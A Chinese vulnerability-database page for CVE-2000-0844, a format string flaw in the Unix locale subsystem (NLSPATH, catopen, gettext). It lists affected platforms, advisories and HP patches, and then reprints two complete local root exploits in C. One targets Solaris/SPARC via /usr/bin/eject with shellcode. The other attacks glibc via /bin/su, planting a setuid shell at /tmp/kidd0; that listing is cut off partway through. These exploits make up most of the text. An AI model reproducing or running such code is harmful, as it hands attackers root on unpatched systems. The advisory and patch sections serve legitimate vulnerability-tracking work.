CVE-2000-0844
CVSS10.0
发布时间 :2000-11-14 00:00:00
修订时间 :2009-01-20 00:00:00
NMCOE    

[原文]Some functions that implement the locale subsystem on Unix do not properly cleanse user-injected format strings, which allows local attackers to execute arbitrary commands via functions such as gettext and catopen.


[CNNVD]HP-UX NLSPATH环境变量权限提升漏洞(CNNVD-200011-069)

        
        HP-UX 中的很多程序都使用libc库中的catopen()/catgets()等函数来显示本地化的信息。catopen()函数在检测到NLSPATH环境变量之后,会打开其指定的文件并从中读取消息。
        然而,catopen()函数并没有对suid root程序使用NLSPATH变量进行限制,这允许本地攻击者通过设置NLSPATH变量指定自己构造的locale文件,当suid root程序将使用catopen()打开该消息文件并将其中的数据传递给*printf()函数时,就可能造成格式串漏洞。
        任何使用catopen()/catgets()函数的suid root程序都可能受此漏洞影响,本地攻击者可以利用此漏洞获取root权限。
        根据我们的测试,至少如下程序是受影响的:
        -r-sr-xr-x 1 root bin 45056 Nov 14 2000 /usr/bin/at
        -r-sr-xr-x 1 root bin 24576 Nov 14 2000 /usr/bin/crontab
        -r-sr-xr-x 1 root bin 45056 Nov 14 2000 /usr/bin/ct
        -r-sr-xr-x 1 root bin 36864 Apr 19 2001 /usr/bin/cu
        -r-sr-xr-x 1 root bin 20480 Nov 14 2000 /usr/lbin/exrecover
        -r-sr-xr-x 1 root bin 40960 Aug 16 2001 /usr/bin/lp
        -r-sr-sr-x 2 root mail 45056 Nov 14 2000 /usr/bin/mail
        -r-sr-xr-x 5 root bin 45056 Nov 14 2000 /usr/bin/passwd
        -r-sr-xr-x 1 root bin 24576 Nov 14 2000 /usr/bin/su
        -r-sr-xr-x 11 root bin 1921024 Nov 6 2001 /usr/sbin/swinstall
        -r-sr-xr-x 2 root bin 1028096 Nov 6 2001 /usr/sbin/swpackage
        

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-264 [权限、特权与访问控制]

- CPE (受影响的平台与产品)

cpe:/o:ibm:aix:3.2.5IBM AIX 3.2.5
cpe:/o:turbolinux:turbolinux:6.0.1
cpe:/o:sun:solaris:8.0
cpe:/o:slackware:slackware_linux:7.0Slackware Linux 7.0
cpe:/o:suse:suse_linux:6.4SuSE SuSE Linux 6.4
cpe:/o:ibm:aix:4.3.2IBM AIX 4.3.2
cpe:/o:mandrakesoft:mandrake_linux:7.0MandrakeSoft Mandrake Linux 7.0
cpe:/o:ibm:aix:4.1.4IBM AIX 4.1.4
cpe:/a:caldera:openlinux_ebuilder:3.0
cpe:/o:sgi:irix:6.5.3SGI IRIX 6.5.3
cpe:/o:conectiva:linux:4.2Conectiva Conectiva Linux 4.2
cpe:/o:sun:solaris:2.4
cpe:/o:conectiva:linux:4.0esConectiva Conectiva Linux 4.0es
cpe:/o:ibm:aix:4.1.3IBM AIX 4.1.3
cpe:/o:sgi:irix:6.5.8SGI IRIX 6.5.8
cpe:/o:sgi:irix:6.3SGI IRIX 6.3
cpe:/o:sgi:irix:6.5.3fSGI IRIX 6.5.3f
cpe:/o:trustix:secure_linux:1.0Trustix Trustix Linux 1.0
cpe:/o:trustix:secure_linux:1.1Trustix Secure Linux 1.1
cpe:/o:sun:solaris:2.3
cpe:/o:redhat:linux:6.1Red Hat Linux 6.1
cpe:/o:ibm:aix:4.2.1IBM AIX 4.2.1
cpe:/o:debian:debian_linux:2.0Debian Debian Linux 2.0
cpe:/o:sgi:irix:6.2SGI IRIX 6.2
cpe:/o:sgi:irix:6.5.4SGI IRIX 6.5.4
cpe:/o:suse:suse_linux:7.0SuSE SuSE Linux 7.0
cpe:/o:sun:solaris:2.1
cpe:/o:turbolinux:turbolinux:6.0.3
cpe:/o:sun:solaris:7.0
cpe:/o:ibm:aix:4.2IBM AIX 4.2
cpe:/o:ibm:aix:4.0IBM AIX 4.0
cpe:/o:redhat:linux:5.0Red Hat Linux 5.0
cpe:/o:conectiva:linux:4.1Conectiva Conectiva Linux 4.1
cpe:/o:turbolinux:turbolinux:6.0
cpe:/o:sun:solaris:2.5
cpe:/o:slackware:slackware_linux:7.1Slackware Linux 7.1
cpe:/o:sgi:irix:6.5.6SGI IRIX 6.5.6
cpe:/o:conectiva:linux:5.1Conectiva Conectiva Linux 5.1
cpe:/o:redhat:linux:5.1Red Hat Linux 5.1
cpe:/o:suse:suse_linux:6.3SuSE SuSE Linux 6.3
cpe:/o:sun:solaris:2.6
cpe:/o:sun:solaris:2.0
cpe:/o:sgi:irix:6.4SGI IRIX 6.4
cpe:/o:ibm:aix:4.1.2IBM AIX 4.1.2
cpe:/o:redhat:linux:6.0Red Hat Linux 6.0
cpe:/o:sun:solaris:2.5.1
cpe:/o:turbolinux:turbolinux:6.0.2
cpe:/o:ibm:aix:4.3IBM AIX 4.3
cpe:/o:ibm:aix:4.3.1IBM AIX 4.3.1
cpe:/o:debian:debian_linux:2.2Debian Debian Linux 2.2
cpe:/o:sgi:irix:6.5.2mSGI IRIX 6.5.2m
cpe:/o:ibm:aix:4.1.5IBM AIX 4.1.5
cpe:/o:ibm:aix:3.2.4IBM AIX 3.2.4
cpe:/o:caldera:openlinux_eserver:2.3
cpe:/o:caldera:openlinux
cpe:/o:sgi:irix:6.5.3mSGI IRIX 6.5.3m
cpe:/o:turbolinux:turbolinux:6.0.4
cpe:/o:sun:solaris:2.2
cpe:/o:mandrakesoft:mandrake_linux:7.1MandrakeSoft Mandrake Linux 7.1
cpe:/o:sgi:irix:6.5SGI IRIX 6.5
cpe:/o:sgi:irix:6.5.7SGI IRIX 6.5.7
cpe:/o:redhat:linux:5.2Red Hat Linux 5.2
cpe:/o:suse:suse_linux:6.1SuSE SuSE Linux 6.1
cpe:/o:debian:debian_linux:2.3Debian Debian Linux 2.3
cpe:/o:conectiva:linux:4.0Conectiva Conectiva Linux 4.0
cpe:/o:suse:suse_linux:6.2SuSE SuSE Linux 6.2
cpe:/o:redhat:linux:6.2Red Hat Linux 6.2
cpe:/o:ibm:aix:3.2IBM AIX 3.2
cpe:/o:ibm:aix:4.1IBM AIX 4.1
cpe:/o:conectiva:linux:5.0Conectiva Conectiva Linux 5.0
cpe:/o:sgi:irix:6.5.1SGI IRIX 6.5.1
cpe:/a:immunix:immunix:6.2
cpe:/o:debian:debian_linux:2.1Debian Debian Linux 2.1
cpe:/o:ibm:aix:4.1.1IBM AIX 4.1.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0844
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0844
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200011-069
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/1634
(VENDOR_ADVISORY)  BID  1634
http://archives.neohapsis.com/archives/bugtraq/2000-08/0457.html
(VENDOR_ADVISORY)  BUGTRAQ  20000904 UNIX locale format string vulnerability
http://xforce.iss.net/xforce/xfdb/5176
(UNKNOWN)  XF  unix-locale-format-string(5176)
http://www.redhat.com/support/errata/RHSA-2000-057.html
(UNKNOWN)  REDHAT  RHSA-2000:057
http://www.novell.com/linux/security/advisories/adv5_draht_glibc_txt.html
(UNKNOWN)  SUSE  20000906 glibc locale security problem
http://www.debian.org/security/2000/20000902
(UNKNOWN)  DEBIAN  20000902 glibc: local root exploit
http://www.calderasystems.com/support/security/advisories/CSSA-2000-030.0.txt
(UNKNOWN)  CALDERA  CSSA-2000-030.0
http://archives.neohapsis.com/archives/tru64/2000-q4/0000.html
(UNKNOWN)  COMPAQ  SSRT0689U
http://archives.neohapsis.com/archives/bugtraq/2000-10/0427.html
(UNKNOWN)  AIXAPAR  IY13753
http://archives.neohapsis.com/archives/bugtraq/2000-08/0436.html
(UNKNOWN)  BUGTRAQ  20000902 Conectiva Linux Security Announcement - glibc
ftp://patches.sgi.com/support/free/security/advisories/20000901-01-P
(UNKNOWN)  SGI  20000901-01-P

- 漏洞信息

HP-UX NLSPATH环境变量权限提升漏洞
危急 权限许可和访问控制
2000-11-14 00:00:00 2009-01-20 00:00:00
本地  
        
        HP-UX 中的很多程序都使用libc库中的catopen()/catgets()等函数来显示本地化的信息。catopen()函数在检测到NLSPATH环境变量之后,会打开其指定的文件并从中读取消息。
        然而,catopen()函数并没有对suid root程序使用NLSPATH变量进行限制,这允许本地攻击者通过设置NLSPATH变量指定自己构造的locale文件,当suid root程序将使用catopen()打开该消息文件并将其中的数据传递给*printf()函数时,就可能造成格式串漏洞。
        任何使用catopen()/catgets()函数的suid root程序都可能受此漏洞影响,本地攻击者可以利用此漏洞获取root权限。
        根据我们的测试,至少如下程序是受影响的:
        -r-sr-xr-x 1 root bin 45056 Nov 14 2000 /usr/bin/at
        -r-sr-xr-x 1 root bin 24576 Nov 14 2000 /usr/bin/crontab
        -r-sr-xr-x 1 root bin 45056 Nov 14 2000 /usr/bin/ct
        -r-sr-xr-x 1 root bin 36864 Apr 19 2001 /usr/bin/cu
        -r-sr-xr-x 1 root bin 20480 Nov 14 2000 /usr/lbin/exrecover
        -r-sr-xr-x 1 root bin 40960 Aug 16 2001 /usr/bin/lp
        -r-sr-sr-x 2 root mail 45056 Nov 14 2000 /usr/bin/mail
        -r-sr-xr-x 5 root bin 45056 Nov 14 2000 /usr/bin/passwd
        -r-sr-xr-x 1 root bin 24576 Nov 14 2000 /usr/bin/su
        -r-sr-xr-x 11 root bin 1921024 Nov 6 2001 /usr/sbin/swinstall
        -r-sr-xr-x 2 root bin 1028096 Nov 6 2001 /usr/sbin/swpackage
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您暂时去掉所有程序的suid root属性,但这可能带来很多不便。
        您应当尽快安装相应补丁来解决此问题。
        厂商补丁:
        HP
        --
        HP已经为此发布了一个安全公告(HPSBUX0311-294)以及相应补丁:
        HPSBUX0311-294:SSRT3656 NLSPATH may contain any path
        补丁下载:
        HP-UX 10.20:
        HP Patch PHCO_26158
        
        http://itrc.hp.com

        HP HP-UX 11.0:
        HP Patch PHCO_29284
        
        http://itrc.hp.com

        HP HP-UX 11.11:
        HP Patch PHCO_29495
        
        http://itrc.hp.com

        HP HP-UX 11.22:
        HP Patch PHCO_29329
        
        http://itrc.hp.com

- 漏洞信息 (197)

Solaris/SPARC 2.7 / 7 locale Format String Exploit (EDBID:197)
solaris local
2000-11-20 Verified
0 Solar Eclipse
N/A [点击下载]
/*
   Exploit for the locale format string vulnerability in Solaris/SPARC 2.7 / 7
   Based on the exploit by Warning3 <warning3@nsfocus.com>

   For additional information see http://www.phreedom.org/solar/locale_sol.txt

   By Solar Eclipse <solareclipse@phreedom.org>
   Assistant Editor,
   Phreedom Magazine
   http://www.phreedom.org

   10 Oct 2000
*/

#include <stdio.h>
#include <sys/systeminfo.h>

#define NUM     98          /* default number of words to dump from the stack */
#define ALIGN   3           /* default align (can be 0, 1, 2, 3) */
#define RETLOCOFS -16       /* default offset of the return address location */
#define SHELLOFS -6         /* default offset of the jump location from the beginning of the shell buffer */
#define RETLOC  0xfffffffd

#define PATTERN 1024        /* format string buffer size */
#define SHELL   1024        /* shell buffer size */

#define NOP     0xac15a16e

#define VULPROG "/usr/bin/eject"

char shellcode[] =      /* from scz's funny shellcode for SPARC */
    "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"  /* setuid(0)  */
    "\xaa\x1d\x40\x15\x90\x05\x60\x01\x92\x10\x20\x09"  /* dup2(1,2)  */
    "\x94\x05\x60\x02\x82\x10\x20\x3e\x91\xd0\x20\x08"
    "\x20\x80\x49\x73\x20\x80\x62\x61\x20\x80\x73\x65\x20\x80\x3a\x29"
    "\x7f\xff\xff\xff\x94\x1a\x80\x0a\x90\x03\xe0\x34\x92\x0b\x80\x0e"
    "\x9c\x03\xa0\x08\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\xc0\x2a\x20\x07"
    "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
    "\x91\xd0\x20\x08\x2f\x62\x69\x6e\x2f\x73\x68\xff";

/* get current stack point address */

long get_sp(void)
{
    __asm__("mov %sp,%i0");
}

/* prints a long to a string */

char* put_long(char* ptr, long value)
{
    *ptr++ = (char) (value >> 24) & 0xff;
    *ptr++ = (char) (value >> 16) & 0xff;
    *ptr++ = (char) (value >> 8) & 0xff;
    *ptr++ = (char) (value >> 0) & 0xff;

    return ptr;
}

/* check if a long contains zero bytes */

int contains_zero(long value)
{
    return !((value & 0x00ffffff) &&
             (value & 0xff00ffff) &&
             (value & 0xffff00ff) &&
             (value & 0xffffff00));

}

/* create the shell buffer */

void create_shellbuf(char* shellbuf, int align, int retloc)
{
    char *ptr;
    int i;

    /* check align parameter */

    if (align < 0 || align > 3) {
        printf("Error: align is %d, it should be between 0 and 3\n", align);
        exit(1);
    }

    /* check retloc parameter */

    if (contains_zero(retloc) || contains_zero(retloc+2) ) {
        printf("Error: retloc (0x%x) or retloc+2 (0x%x) contains a zero byte\n", retloc, retloc+2);
        exit(1);
    }

    /* start constructing the shell buffer */

    ptr = shellbuf;

    for (i = 0; i < align; i++) {
        *ptr++ = 0x41;      /* alignment padding */
    }

    ptr = put_long(ptr, 0x42424242);        /* this is used by the %u format specifier */

    ptr = put_long(ptr, retloc);            /* put the address of the low order half-word of the return
                                               address on the stack */

    ptr = put_long(ptr, 0x42424242);        /* this is used by the %u format specifier */

    ptr = put_long(ptr, retloc + 2);        /* put the address of the high order half-word of the
                                               return address on the stack */

    /* fill the shellbuf with NOP instructions but leave enough space for the shell code */

    while ((long)ptr + 4 + strlen(shellcode) + 1 < (long)shellbuf + SHELL) {
        ptr = put_long(ptr, NOP);
    }

    memcpy(ptr, shellcode, strlen(shellcode));      /* copy the shellcode */
    ptr = ptr + strlen(shellcode);

    /* add additional padding to the shell buffer to make sure its size is always the same */

    while ((long)ptr < (long)shellbuf + SHELL - 1) {
        *ptr++ = 0x41;
    }

    *ptr = 0;                               /* null-terminate */

    /* at this point the shell buffer should be exactly SHELL bytes long, including the null-terminator */

    if (strlen(shellbuf) + 1 != SHELL) {
        printf("Error: The shell buffer is %d bytes long. It should be %d bytes. Something went terribly wrong...\n",
                strlen(shellbuf)+1, SHELL);
        exit(1);
    }

    return;
}

/* execute the vulnerable program using our custom environment */

void execute_vulnprog(char* pattern, char* shellbuf)
{
    char *env[3];
    FILE *fp;

    /* create message files */

    if (strlen(pattern) > 512) {
        printf("Warning: The pattern is %d bytes long. Only the first 512 bytes will be used.\n", strlen(pattern));
    }

    if ( !(fp = fopen("messages.po", "w+")) ) {
        perror("Error openning messages.po for writing.");
        exit(1);
    }

    fprintf(fp, "domain \"messages\"\n");
    fprintf(fp, "msgid  \"usage: %%s [-fndq] [name | nickname]\\n\"\n");
    fprintf(fp, "msgstr \"%s\\n\"", pattern);
    fclose(fp);

    system("/usr/bin/msgfmt messages.po");
    system("cp messages.mo SUNW_OST_OSCMD");
    system("cp messages.mo SUNW_OST_OSLIB");

    /* prepere the environment for the VULNPROG process */

    env[0] = "NLSPATH=:.";
    env[1] = shellbuf;              /* put the shellbuf in env */
    env[2] = NULL;                  /* end of env */

    /* execute the vulnerable program using our custom environment */

    execle(VULPROG, VULPROG, "-x", NULL, env);
}


/* print the program usage */

void usage(char *prg)
{
    printf("Usage:\n");
    printf("    %s [command] [options]\n\n", prg);
    printf("Commands:\n");
    printf("  dump                   Dumps the stack\n");
    printf("  shell                  Dumps the shell buffer\n");
    printf("  exploit                Exploits /usr/bin/eject\n\n");
    printf("Options:\n");
    printf("  --num=96               Number of words to dump from the stack\n");
    printf("  --align=2              Sets the alignment (0, 1, 2 or 3)\n");
    printf("  --shellofs=-6          Offset of the shell buffer\n");
    printf("  --retlocofs=-4         Retloc adjustment (must be divisible by 4)\n");
    printf("  --retloc=0xeffffa3c    Location of the return address\n");

    exit(0);
}

/* main */

main(int argc, char **argv)
{
    char shellbuf[SHELL], pattern[PATTERN], platform[256];
    char *ptr;
    long sp_addr, sh_addr, jmp_addr, reth, retl;
    int num = NUM, align = ALIGN, shellofs = SHELLOFS, retlocofs = RETLOCOFS, retloc = RETLOC;
    int i;

    int dump = 0, shell = 0, exploit = 0;

    /* read the exploit arguments */

    if (argc < 2) {
        usage(argv[0]);
    }

    if (!strncmp(argv[1], "dump", 4)) { dump = 1; }
    else if(!strncmp(argv[1], "shell", 5)) { shell = 1; }
    else if(!strncmp(argv[1], "exploit", 7)) { exploit = 1; }
    else {
        usage(argv[0]);
    }

    for (i = 2; i < argc; i++) {
        if ( (sscanf(argv[i], "--align=%d", &align) ||
              sscanf(argv[i], "--num=%d", &num) ||
              sscanf(argv[i], "--shellofs=%d", &shellofs) ||
              sscanf(argv[i], "--retlocofs=%d", &retlocofs) ||
              sscanf(argv[i], "--retloc=%x", &retloc))== 0) {
                printf("Unrecognized option %s\n\n", argv[i]);
                usage(argv[0]);
            }
    }

    /* create the shell buffer */

    create_shellbuf(shellbuf, align, retloc);

    /* calculate memory addresses */

    sysinfo(SI_PLATFORM, platform, 256);            /* get platform info  */

    sp_addr = (get_sp() | 0xffff) & 0xfffffffc;     /* get stack bottom address */
    sh_addr = sp_addr - (strlen(VULPROG)+1) - (strlen(platform)+1) - (strlen(shellbuf)+1) + shellofs;

    /* sh_add now points to the beginning of the shell buffer */

    printf("Calculated shell buffer address: 0x%x\n", sh_addr);

    if (shell == 1) {
        put_long(&shellbuf[align], sh_addr);        /* put sh_addr on the stack */
    }

    if ( ((sh_addr + align) & 0xfffffffc) != (sh_addr + align) ) {
        printf("Warning: sh_addr + align must be word aligned. Adjust shellofs and align as neccessary\n");
    }

    if (retloc == RETLOC) {                         /* if retloc was not specified on the command line, calculate it */
        retloc = sh_addr + align - num*4 + retlocofs;
        printf("Calculated retloc: 0x%x\n", retloc);

        put_long(&shellbuf[align+4], retloc);
        put_long(&shellbuf[align+12], retloc+2);
    }

    jmp_addr = (sh_addr + align) + 64;              /* Calculate the shell jump location */
    printf("Calculated shell code jump location: 0x%x\n\n", jmp_addr);

    /* create the format string */

    ptr = pattern;
    for (i = 0; i < num; i++) {
        memcpy(ptr, "%.8x", 4);
        ptr = ptr + 4;
    }

    if (dump == 1) {
        *ptr = 0;                                   /* null-terminate */
        printf("Stack dump mode, dumping %d words\n", num);
    }
    else if (shell == 1) {
        sprintf(ptr, " Shell buffer: %%s");

        printf("shellbuf (length = %d): %s\n\n", strlen(shellbuf)+1, shellbuf);
        printf("Shell buffer dump mode, shell buffer address is 0x%x\n", sh_addr);
    }
    else {
        reth = (jmp_addr >> 16) & 0xffff;
        retl = (jmp_addr >> 0) & 0xffff;

        sprintf(ptr, "%%%uc%%hn%%%uc%%hn", (reth - num * 8), (retl - reth));
        printf("Exploit mode, jumping to 0x%x\n", jmp_addr);
    }

    printf("num: %d\t\talign: %d\tshellofs: %d\tretlocofs: %d\tretloc: 0x%x\n\n",
            num, align, shellofs, retlocofs, retloc);

    /* execute the vulnerable program using our custom environment */

    execute_vulnprog(pattern, shellbuf);

}


// milw0rm.com [2000-11-20]
		

- 漏洞信息 (209)

GLIBC (via /bin/su) Local Root Exploit (EDBID:209)
linux local
2000-11-30 Verified
0 localcore
N/A [点击下载]
/*
 *
 *  Working exploit for glibc executing /bin/su
 *
 *  To exploit this i have used a technique that
 *  overwrites the .dtors section of /bin/su program
 *  with the address of the shellcode, so, the program
 *  executes it when main returns or exit() is called
 *
 *   Thanks a lot to rwxrwxrwx <jmbr@qualys.com> for
 *  explaining me this technique :)
 *
 *  The address of .dtors section can be easily obtained
 *  with objdump -h filename.
 *
 *  One the address of .dtors is known, the shellcode is
 *  pushed in a env var with a lot of nops, and the size
 *  of the "piece" of stack that must be "eaten" is calculated
 *  with a loop. At this point, we know the exact values of
 *  all parameters exept the address of the shellcode, but this
 *  value can be guessed with a little work :)
 *
 *  Tested on:       Red Hat 6.2, 6.1
 *                   SuSE 6.2
 *
 *  Thanks to Chui, aViNash, RaiSe, |CoDeX|, YbY...
 *  (y todos los que me olvido)
 *
 *
 *  Doing / localcore - doing@netsearch-ezine.com
 *
 */


#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <getopt.h>
#include <dirent.h>

char *shellcode =
"\x31\xc0\x83\xc0\x17\x31\xdb\xcd\x80\xeb"
"\x30\x5f\x31\xc9\x88\x4f\x17\x88\x4f\x1a"
"\x8d\x5f\x10\x89\x1f\x8d\x47\x18\x89\x47"
"\x04\x8d\x47\x1b\x89\x47\x08\x31\xc0\x89"
"\x47\x0c\x8d\x0f\x8d\x57\x0c\x83\xc0\x0b"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8"
"\xcb\xff\xff\xff\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x2f\x62\x69\x6e\x2f\x73\x68\x30\x2d\x63"
"\x30"
"chown root /tmp/kidd0;chmod 4777 /tmp/kidd0";

char *LC_MESSAGES = "/tmp/LC_MESSAGES";
int NOP_LEN = 12000;

char *msgfmt = "/usr/bin/msgfmt";
char *objdump = "/usr/bin/objdump";
char *language = NULL;

char *make_format_string(unsigned long, int, int);
unsigned long get_dtors_addr();
char *make_ret_str(unsigned long, int);
void calculate_eat_space(int *, int *);
void checkfor(char*);
void make_suid_shell();
void search_valid_language();

int main(int argc, char **argv)
{
  char execbuf[1024];
  unsigned long dtors_addr = 0xAABBCCDD;
  unsigned long sh_addr = 0xBFFFFFFF;
  FILE *f;
  char *env[3];
  char *args[6];
  int eat = 0, pad = 0, fd;
  char *nop_env;
  int offset = 5000;
  struct stat st;
  int pid, c;
  char randfile[1024];
  char *args2[2], opt;

  printf("glibc xploit for /bin/su - by Doing <jdoing@bigfoot.com>\n");
  printf("Usage: %s [options]\n", argv[0]);
  printf(" -o offset [default: 5000]\n");
  printf(" -n nops   [default: 12000]\n");
  printf(" -m path to msgfmt [default: /usr/bin/msgfmt]\n");
  printf(" -O path to objdump [default: /usr/bin/objdump]\n");
  printf(" -e eat:pad set eat and pad values [default: calculate
them]\n");
  printf(" -l language set language used in env var [default: search
it]\n");
  printf("Enjoy!\n\n");

  while ((opt = getopt(argc, argv, "o:n:m:O:e:l:")) != EOF)
    switch(opt) {
    case 'o':
      offset = atoi(optarg);
      break;
    case 'n':
      NOP_LEN = atoi(optarg);
      break;
    case 'm':
      msgfmt = strdup(optarg);
      break;
    case 'O':
      objdump = strdup(optarg);
      break;
    case 'e':
      sscanf(optarg, "%i:%i", &eat, &pad);
      break;
    case 'l':
      language = (char*) malloc(40 + strlen(optarg));
      if (!language) {
	printf("malloc failed\naborting\n");
	exit(0);
      }
      memset(language, 0, 40 + strlen(optarg));
      sprintf(language, "LANGUAGE=%s/../../../../../../tmp", optarg);
      break;
    default:
      exit(0);
    }

  printf("Phase 1. Checking paths and write permisions\n");
  printf(" Checking for %s...", msgfmt);
  checkfor(msgfmt);
  printf(" Checking for %s...", objdump);
  checkfor(objdump);

  printf(" Checking write permisions on /tmp...");
  if (stat("/tmp", &st) < 0) {
    printf("failed. cannot stat /tmp\naborting\n");
    exit(0);
  }

  if (!(st.st_mode & S_IWOTH)) {
    printf("failed. /tmp it's not +w\naborting\n");
    exit(0);
  }
  printf("Ok\n");
  fflush(stdout);

  printf(" Checking read permisions on /bin/su...");
  if (stat("/bin/su", &st) < 0) {
    printf("failed. cannot stat /bin/su\naborting\n");
    exit(0);
  }

  if (!(st.st_mode & S_IROTH)) {
    printf("failed. /bin/su it's not +r\naborting\n");
    exit(0);
  }
  printf("Ok\n");
  fflush(stdout);

  if (!language) {
    printf(" Checking for a valid language...");
    search_valid_language();
    printf("Ok\n");
  }

  printf(" Checking that %s does not exist...", LC_MESSAGES);
  if (stat(LC_MESSAGES, &st) >= 0) {
    printf("failed. %s exists\naborting\n", LC_MESSAGES);
    exit(0);
  }
  printf("Ok\n");
  fflush(stdout);

  printf("Phase 2. Calculating eat and pad values\n ");
  srand(time(NULL));

  if (eat || pad) printf("skkiping, values set by user to eat = %i and
pad = %i\n", eat, pad);
  else {
    calculate_eat_space(&eat, &pad);
    printf("done\n eat = %i and pad = %i\n", eat, pad);
  }
  fflush(stdout);

  sh_addr -= offset;

  printf("Phase 3. Creating evil libc.mo and setting enviroment
vars\n");
  fflush(stdout);

  mkdir(LC_MESSAGES, 0755);
  chdir(LC_MESSAGES);

  f = fopen("libc.po", "w+");
  if (!f) {
    perror("fopen()");
    exit(0);
  }
  fprintf(f,"msgid \"%%s: invalid option -- %%c\\n\"\n");
  fprintf(f,"msgstr \"%s\\n\"", make_format_string(sh_addr, eat, 0));
  fclose(f);

  sprintf(execbuf, "%s libc.po -o libc.mo; chmod 777 libc.mo", msgfmt);
  system(execbuf);

  nop_env = (char*) malloc(NOP_LEN + strlen(shellcode) + 1);
  if (!nop_env) {
    printf("malloc failed\naborting\n");
    exit(0);
  }
  memset(nop_env, 0x90, NOP_LEN + strlen(shellcode) + 1);
  sprintf(&nop_env[NOP_LEN], "%s", shellcode);

  env[0] = language;
  env[1] = NULL;

  printf("Phase 4. Getting address of .dtors section of /bin/su\n ");
  dtors_addr = get_dtors_addr();
  printf("done\n .dtors is at 0x%08x\n", dtors_addr);
  fflush(stdout);

  printf("Phase 5. Compiling suid shell\n");
  fflush(stdout);

  make_suid_shell();

  printf("Phase 6. Executing /bin/su\n");
  fflush(stdout);

  args[0] = "/bin/su";
  args[1] = "-";
  args[2] = make_ret_str(dtors_addr, pad);
  args[3] = "-w";
  args[4] = nop_env;
  args[5] = NULL;

  sprintf(randfile, "/tmp/tmprand%i", rand());

  if (!(pid = fork())) {
    close(1);
    close(2);
    fd = open(randfile, O_CREAT | O_RDWR);
    dup2(fd, 1);
    dup2(fd, 2);
    execve(args[0], args, env);
    printf("failed to exec /bin/su\n"); exit(0);
  }

  if (pid < 0) {
    perror("fork()");
    exit(0);
  }

  waitpid(pid, &c, 0);

  unlink(randfile);

  stat("/tmp/kidd0", &st);
  if (!(S_ISUID & st.st_mode)) {
    printf("failed to put mode 4777 to /tmp/kidd0\naborting\n");
    exit(0);
  }

  printf(" - Entering rootshell ;-) -\n");
  fflush(stdout);

  if (!(pid = fork())) {
    args2[0] = "/tmp/kidd0";
    args2[1] = NULL;
    execve(args2[0], args2, NULL);
    printf("failed to exec /tmp/kidd0\n");
    exit(0);
  }

  if (pid < 0) {
    perror("fork()");
    exit(0);
  }

  waitpid(pid, &c, 0);

  printf("Phase 7. Cleaning enviroment\n");
  sprintf(execbuf, "rm -rf %s /tmp/kidd0", LC_MESSAGES);
  system(execbuf);
}

char ret_make_format[0xffff];

char *make_format_string(unsigned long sh_addr, int eat, int test)
{
  char *ret = ret_make_format;
  int c, waste;
  int hi, lo;

  memset(ret, 0, 0xffff);

  for (c = 0; c < eat; c++) strcat(ret, "%8x");

  waste = 8 * eat;

  hi = (sh_addr & 0xffff0000) >> 16;
  lo = (sh_addr & 0xffff) - hi;
  if (!test) {
    sprintf(&ret[strlen(ret)], "%%0%ux%%hn", hi-waste);
    sprintf(&ret[strlen(ret)], "%%0%ux%%hn", lo);
  }
  else strcat(ret, "%8x *0x%08x* %8x *0x%08x*");
  return ret;
}

unsigned long get_dtors_addr()
{
  char exec_buf[1024];
  char file[128];
  char buf[1024], sect[1024];
  FILE *f;
  unsigned long ret = 0, tmp1, tmp2, tmp3;

  sprintf(file, "/tmp/tmprand%i", rand());
  sprintf(exec_buf, "%s -h /bin/su > %s", objdump, file);

  system(exec_buf);

  f = fopen(file, "r");
  if (!f) {
    perror("fopen()");
    exit(0);
  }

  while (!feof(f)) {
    fgets(buf, 1024, f);
    sscanf(buf, "  %i .%s %x %x \n", &tmp1, sect, &tmp2, &tmp3);
    printf("."); fflush(stdout);
    if (strcmp(sect, "dtors")) continue;
    ret = tmp3;
    break;
  }

  unlink(file);

  if (!ret) {
    printf("error getting the address of .dtors\naborting");
    exit(0);
  }

  return ret+4;
}

char ret_make_ret_str[0xffff];

char *make_ret_str(unsigned long dtors_addr, int pad)
{
  char *ret = ret_make_ret_str, *ptr2;
  unsigned long *ptr = (unsigned long*) ret;
  int c;

  memset(ret, 0, 0xffff);

  *ptr = dtors_addr+2;
  *(ptr+1) = 0xAABBCCDD;
  *(ptr+2) = dtors_addr;

  ptr2 = &ret[strlen(ret)];
  while (pad--)
    *(ptr2++) = 0xaa;

  return ret;
}

void calculate_eat_space(int *eatr, int *padr)
{
  int eat = 0, pad = 0;
  char tmpfile[128];
  FILE *f;
  char execbuf[1024];
  int fds[2], tmpfd;
  unsigned long test_value = 0xAABBCCDD;
  char *nop_env;
  char *env[2];
  char *args[6];
  char buf[1024];
  int l, pid;
  struct stat st;
  char *readbuf = NULL, *token;
  unsigned long t1, t2;

  tmpfile[0] = '\0';

  nop_env = (char*) malloc(NOP_LEN + strlen(shellcode) + 1);
  if (!nop_env) {
    printf("malloc failed\naborting\n");
    exit(0);
  }
  memset(nop_env, 0x90, NOP_LEN + strlen(shellcode) + 1);
  sprintf(&nop_env[NOP_LEN], "%s", shellcode);

  for (eat = 50; eat < 200; eat++) {
    for (pad = 0; pad < 4; pad++) {

      if (tmpfile[0]) unlink(tmpfile);

      chdir("/");

      sprintf(execbuf, "rm -rf %s", LC_MESSAGES);
      system(execbuf);

      mkdir(LC_MESSAGES, 0755);
